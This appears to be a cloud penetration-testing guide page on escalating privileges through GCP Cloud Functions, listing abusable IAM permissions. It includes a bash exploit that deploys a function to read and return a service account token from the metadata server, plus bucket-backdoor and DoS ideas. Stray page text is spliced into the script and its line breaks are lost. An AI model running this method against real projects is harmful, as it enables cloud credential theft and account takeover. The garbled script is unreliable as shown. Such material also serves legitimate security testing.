GCP - Cloudfunctions Privesc

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cloudfunctions

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More information about Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

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An attacker with these privileges can create a new Cloud Function with arbitrary (malicious) code and assign it a Service Account. Then, leak the Service Account token from the metadata to escalate privileges to it.
Some privileges to trigger the function might be required.

Exploit scripts for this method can be found here and here and the prebuilt .zip file can be found here.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

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An attacker with these privileges can modify the code of a Function and even modify the service account attached with the goal of exfiltrating the token.

caution

In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.

Some extra privileges like .call permission for version 1 cloudfunctions or the role role/run.invoker to trigger the function might be required.

bash
# Create new code Reading time: 5 minutes temp_dir=$(mktemp -d) cat > $temp_dir/main.py <<EOF import subprocess def main(request): cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'" result = subprocess.check_output(cmd, shell=True, text=True) return result EOF echo "" > $temp_dir/requirements.txt zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt # Update code Reading time: 5 minutes gcloud functions deploy <cloudfunction-name> \ --runtime python312 \ --source $temp_dir \ --entry-point main \ --service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \ --trigger-http \ --allow-unauthenticated # Get SA token calling the new function code Reading time: 5 minutes gcloud functions call <cloudfunction-name>

caution

If you get the error Permission 'run.services.setIamPolicy' denied on resource... is because you are using the --allow-unauthenticated param and you don't have enough permissions for it.

The exploit script for this method can be found here.

cloudfunctions.functions.sourceCodeSet

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With this permission you can get a signed URL to be able to upload a file to a function bucket (but the code of the function won't be changed, you still need to update it)

bash
# Generate the URL Reading time: 5 minutes curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \ -H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \ -H "Content-Type: application/json" \ -d '{}'

Not really sure how useful only this permission is from an attackers perspective, but good to know.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

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Give yourself any of the previous .update or .create privileges to escalate.

cloudfunctions.functions.update

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Only having cloudfunctions permissions, without iam.serviceAccounts.actAs you won't be able to update the function SO THIS IS NOT A VALID PRIVESC.

Read & Write Access over the bucket

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If you have read and write access over the bucket you can monitor changes in the code and whenever an update in the bucket happens you can update the new code with your own code that the new version of the Cloud Function will be run with the submitted backdoored code.

You can check more about the attack in:

GCP - Storage Privesc

However, you cannot use this to pre-compromise third party Cloud Functions because if you create the bucket in your account and give it public permissions so the external project can write over it, you get the following error:

caution

However, this could be used for DoS attacks.

Read & Write Access over Artifact Registry

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When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the cache image) and nothing changed, the cloud function continue working. Therefore, maybe it might be possible to abuse a Race Condition attack like with the bucket to change the docker container that will be run but just modifying the stored image isn't possible to compromise the Cloud Function.

References

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